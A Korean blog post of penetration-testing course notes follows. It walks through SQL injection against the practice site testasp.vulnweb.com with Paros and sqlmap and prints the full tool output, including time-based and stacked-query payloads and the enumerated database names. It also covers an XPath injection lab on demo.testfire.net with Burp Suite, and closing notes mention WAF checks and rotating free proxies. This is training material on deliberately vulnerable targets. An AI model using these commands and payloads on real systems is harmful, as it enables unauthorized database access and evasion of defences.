http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault.asp%3F


파로스를 이용하여 POST 방식의 정보 확인

-> POST 방식으로 전달되는 패러미터는 육안으로 확인할 수 없기 때문에 paros로 확인

-> paros에서 [Trap] 탭

                [ V ] Trap Request





웹 로그인 페이지에 임의의 계정(aaaa)과 암호(aaaa)를 입력하고 "Login"을 선택한다.


paros에서 확인

-> paros에서 전달되는 POST 방식의 패러미터 확인

-> tfUName=aaaa&tfUPass=aaaa 확인(점검 대상 패러미터는 tfUName 과 tfUPass 이다.)


■ 임의의 계정으로 sqlmap을 통해 DB 접근 확인

# sqlmap -u "http://testasp.vulnweb.com/Login.asp" \

--data="tfUName=user&tfUPass=pass123" \

--batch

..... (중략) .....

[*] starting at 11:06:53

 

[11:06:53] [INFO] resuming back-end DBMS 'microsoft sql server'

[11:06:53] [INFO] testing connection to the target URL

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: tfUName (POST)

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: tfUName=user'; WAITFOR DELAY '0:0:5'--&tfUPass=pass123

 

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: tfUName=user' WAITFOR DELAY '0:0:5'--&tfUPass=pass123

---

[11:06:55] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

[11:06:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testasp.vulnweb.com'

 

[*] shutting down at 11:06:55

# sqlmap -u "http://testasp.vulnweb.com/Login.asp" \

--data="tfUName=user&tfUPass=pass123" \

--dbs \

--batch

..... (중략) .....

[*] starting at 11:02:14

 

[11:02:14] [INFO] resuming back-end DBMS 'microsoft sql server'

[11:02:14] [INFO] testing connection to the target URL

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: tfUName (POST)

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: tfUName=user'; WAITFOR DELAY '0:0:5'--&tfUPass=pass123

 

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: tfUName=user' WAITFOR DELAY '0:0:5'--&tfUPass=pass123

---

[11:02:16] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2003 or XP

web application technology: ASP.NET, Microsoft IIS 6.0, ASP

back-end DBMS: Microsoft SQL Server 2005

[11:02:16] [INFO] fetching database names

[11:02:16] [INFO] fetching number of databases

[11:02:16] [INFO] resumed: 7

[11:02:16] [INFO] resumed: acublog

[11:02:16] [INFO] resumed: acuforum

[11:02:16] [INFO] resumed: acuservice

[11:02:16] [INFO] resumed: master

[11:02:16] [INFO] resumed: model

[11:02:16] [INFO] resumed: msdb

[11:02:16] [WARNING] time-based comparison requires larger statistical model, please wait..............................

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y

[11:02:41] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors

[11:02:52] [INFO] adjusting time delay to 2 seconds due to good response times

tempdb

available databases [7]:

[*] acublog

[*] acuforum

[*] acuservice

[*] master

[*] model

[*] msdb

[*] tempdb

 

[11:04:13] [INFO] fetched data logged to text files under '/root/.sqlmap/output/testasp.vulnweb.com'

 

[*] shutting down at 11:04:13

-> 임의의 사용자로 접근이 가능한 DB 정보들을 확인할 수 있다.





(정리)

웹 스캐너(paros)를 통한 1차 테스트 > 전문툴(sqlmap)을 통한 2차 테스트




(원복) 복원 작업을 진행한다.

(윈도우즈 시스템)

        paros 종료

        웹브라우저 proxy 설정 off

(KaliLinux 시스템)

        paros 종료

        웹브라우저 proxy 설정 off

[과제] sqlmap을 통해 테스트하는 다양한 패턴들을 와이어샤크를 통해 분석(시간: 30분)

sqlmap을 통해 테스트를 걸고 wireshark을 통해 분석한다.

여기에서 얻을수 있는 sqlmap을 통해 보낸 테스트 패턴들을 정리한다.




[과제] SQL Injecion 사용한 인증 우회(시간: 1시간)

목표: 인증창을 넘는다.

문서화 작업 & 발표









* WAF 존재 여부 확인

* proxychain(자동화)

* 무료 proxy ip 사용


...

다음 문서는 웹 모의해킹 및 시큐어코딩 진단가이드 책의 내용을 공부 하면서 만든 문서입니다. 책의 저작권은 원본 제작자에 있으며, 이 문서는 순수한 공부 용도로만 사용하시기 바랍니다. 반드시 원본 책을 사서 읽어 보시기를 권장합니다. 좋은 내용이 너무 많습니다. ^^* *^^




웹보안(Web Security)




제 2 장   XML 취약점








[실습] XPath Injection


        ■ 용어 설명

        SQL Injection   : 악의적인 쿼리를 통해서 Database 의 정보를 획득

        XPath Injection : 조작된 질의문을 통해 XML 기반의 Database 정보 획득



대상 시스템

- http://demo.testfire.net


테스트 도구

- 웹브라우저



① 웹브라우저를 통해 웹 사이트(http://demo.testfire.net/) 접속


(전제조건) paros proxy는 종료된것으로 가정한다.

          웹브라저에서 proxy 지정은 없는것으로 가정한다.


웹브라우저를 통해 웹사이트(http://demo.testfire.net) 접속


왼쪽 상단의 "Sign In" 선택하고 admin 사용자로 로그인

        ID/PASS: admin/admin


② 취약점이 존재하는지 확인


왼쪽 메뉴 중 "Search News Articles" 부분을 선택

취약점을 점검하기 위해서 특수문자(')를 입력하고 "Query" 선택한다.


다음과 같은 에러가 발생되는것으로 봐서 취약점이 있는것으로 판단이 된다.


③ 취약점에 대한 분석


'string(/news/publication[contains(title,'Enter title (e.g. Watchfire)'') and (isPublic/text()='True')]/title/text())' has an invalid token.


분석 내용

'string(/news/publication
- 최상위 노드 <news>
- <news>의 하위 노드 <publication>

[contains(title,'Enter title (e.g. Watchfire)'') and (isPublic/text()='True')]/title/text()
- contains() 함수는 특정 노드의 문자열 포함여부를 검사
- text() 함수는 특정 노드의 문자열 검색
- 하위 노드 <title> 및 <isPublic>


분석된 결과 다음과 같은 구조를 예상할 수 있다.

---------------------------------------------------

<news>

        <publication>

                <title> ..... </title>

                <isPublic>True</isPublic>

        </publication>

</news>

---------------------------------------------------

④ 특정한 위치에 존재하는 XML 정보를 담고 있는 파일 찾기


Burp Suite 설치하고 XML 정보를 담고 있는 파일을 검색해 보자.


Burp Suite 소프트웨어 다운로드 사이트(Burp Suite Free Edition 다운로드)

- http://portswigger.net/burp/download.html


Burp Suite 소프트웨어 종류

- (무료) Burp Suite Free Edition

- (유료) Burp Suite Professional Edition


Burp Suite 설치시 작업 순서

- 자바 1.6 이상 버전 설치(32bit)

- Burp Suite 설치

- 바탕화면 바로가기 아이콘 생성


■ 자바(JDK/SDK or JRE) 설치

(가정) 이전에 설치한것으로 가정한다.(PATH 변수 설정 포함)


■ Burp Suite 다운로드 및 설치

프로그램 다운로드 받는 사이트를 참고한다.(EX: 공유디렉토리 참고)

Burp Suite 프로그램은 기본 설치한다.


■ 바탕화면 바로가기 아이콘 생성

바탕화면에 바로가기 아이콘을 생성한다.


■ Burp Suite Proxy 설정


(주의) 이번 실습에서는 Burp Suite을 디렉토리 목록을 확인하는 용도로만 사용한다.


Proxy 탭 > Options 탭 >

        --------------------------

        Running    interface

         [ v ]     127.0.0.1:9000

        --------------------------


Proxy 탭 > Intercept 탭 > intercept is on 선택(uncheck => intercept is off)




■ 웹브라우저 proxy(Burp Suite) 지정


웹브라우저 > 도구 > 인터넷 옵션 > 연결 > LAN 설정

        주소 : 127.0.0.1 포트 : 9000


웹브라우저를 통해 http://demo.testfire.net 사이트에 접속한다.


Burp Suite 프로그램쪽에서 확인하면 다음과 같이 표시가 된다.

        Proxy > HTTP history

-> 만약 intercept 탭에 intercept on 되어 있으면 Forward를 선택하여 HTTP request를 수행한다.




http://www.testfire.net URL를 선택한 후 오른쪽 마우스를 클릭하여 "spider from here" 선택한다.


그리고 Target 탭의 Site map 선택한다.

-> 내용을 확인해 보면 /pr 디렉토리 밑에 Docs.xml 파일이 존재하는 것을 확인할 수 있다.


/pr 디렉토리 밑에 Docs.xml 파일을 선택하고 Response 부분을 선택하면 XML 구조를 확인할 수 있다.

-> 예상한 결과와 맞아 떨어진다.






SQL_Injection_윤진식.hwp



'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160831 파일업로드 취약점  (0) 2016.09.01
20160830 XML, CRLF, XSS Injection  (0) 2016.08.31
20160826 웹보안  (0) 2016.08.27
20160825 웹보안  (0) 2016.08.25
20160825 BitLocker  (0) 2016.08.25
Posted by 22Hz
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함